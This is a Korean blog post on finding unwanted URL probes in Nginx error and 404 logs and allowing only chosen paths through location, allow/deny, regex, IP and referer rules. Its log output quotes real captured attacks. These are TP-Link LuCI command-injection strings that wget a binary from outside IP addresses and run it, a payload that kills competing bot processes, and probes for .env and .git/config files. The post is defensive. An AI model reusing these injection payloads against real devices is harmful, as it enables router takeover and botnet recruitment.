관리 메뉴

피터의 개발이야기

Nginx에서 특정 URL만 허용하는 방법 본문

DevOps/nginx

Nginx에서 특정 URL만 허용하는 방법

기록하는 백앤드개발자 2024. 9. 3. 02:16
반응형

ㅁ 들어가며

ㅇ web서비스를 제공하다 보면 원하지 않는 url 공격을 받게 된다.

ㅇ 이런 경우를 식별하는 과정과 Nginx에서 특정 URL만 허용하는 방법을 정리해 보았다.

 

ㅁ 잘못된 URL 패턴 확인

# webserver에 표출되는 에러 로그 확인
docker logs webserver | grep error

 

잘못 접근하는 URL패턴 분석

# 잘못된 경로 404 로그 추출
$ docker logs webserver | grep 404 > 404.log

# 잘못 접근하는 URL패턴 분석
$ awk '{print $7}' "404.log" | sort | uniq -c | sort -rn | awk '{print $2 " - " $1 "건"}' | head -n 10
/favicon.ico - 1351건
/robots.txt - 629건
/.env - 614건
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F103.149.28.141%2Ft+-O-+|+sh%60) - 286건
/webui/ - 241건
/geoserver/web/ - 239건
/.git/config - 234건
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) - 171건
/boaform/admin/formLogin - 142건
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) - 134건

 

 

날짜별 잘못 접근 건수 분석

$ awk '{split($4, date, ":"); print date[1] " " $7}' "404.log" | sort | uniq -c | sort -rn | awk '{print $2 " - " $1 "건"}' | head -n 10
[27/Jun/2024 - 21건
[24/Jun/2024 - 21건
[21/Jun/2024 - 21건
[15/Jun/2024 - 21건
[28/Jun/2024 - 20건
[25/Jun/2024 - 20건
[22/Jan/2024 - 20건
[16/Jun/2024 - 20건
[14/May/2024 - 20건
[26/Jun/2024 - 19건

 

ㅁ Nginx에서 특정 URL만 허용하는 방법

ㅇ Nginx 설정 파일(/etc/nginx/conf.d/default.conf)에서 location을 지정한다.

# docker to local
docker cp webserver:/etc/nginx/conf.d/default.conf .

# local to docker
docker cp default.conf  webserver:/etc/nginx/conf.d/default.conf

ㄴ docker 컨테이너는 vi가 되지 않아 일단 로컬로 파일을 복사하여 편집 후 컨테이너를 재시작 하였다.

 

 

ㅇ 기본적인 설정

server {
    # 기타 서버 설정...

    location / {
        deny all;
    }

    location /allowed-path {
        allow all;
    }
}

ㄴ 이 설정은 모든 요청을 기본적으로 차단하고(/에 대해 deny all), /allowed-path에 대한 요청만 허용한다.

 

정규 표현식 사용

    location ~ ^/api/v[0-9]+/ {
        allow all;
    }

 

ㄴ 더 복잡한 URL 패턴을 허용하려면 정규 표현식을 사용할 수 있다.

ㄴ 이 설정은 /api/v1/, /api/v2/ 등의 URL 패턴만 허용한다.

 

IP 기반 접근 제어

server {
    # 서버 설정
    location /pray {
        allow 192.168.33.0/24;
        deny all;
    }
}

ㄴ 이 설정은 /pray 경로에 대해 192.168.33.0/24 서브넷의 IP만 접근을 허용한다.

 

referer 접근 제어

map $http_referer $allow_referer {
    default 0;
    "~.iptime.org" 1;
}

map $allow_referer $disallow_referer {
    0 1;
    1 "";
}

location / {
     if ($disallow_referer) {
        return 404;
     }
}

[참조] [nginx] 특정 referer 에서만 url 호출 가능하도록 설정하기

ㅁ 444 Error(ERR_EMPTY_RESPONSE)

ㅇ 접근 URL로 접근하면 444, ERR_EMPTY_RESPONSE 에러가 발생한다.

ㅇ 웹 브라우저에 444는 nginx의 응답없음을 말한다.

 

ㅁ 함께 보면 좋은 사이트

라즈베리파이4 설정(4) - NGINX에서 도메인으로 접속만 허용하기(IP주소 직접접속 차단)

[nginx] 특정 referer 에서만 url 호출 가능하도록 설정하기

Module ngx_http_map_module

반응형
Comments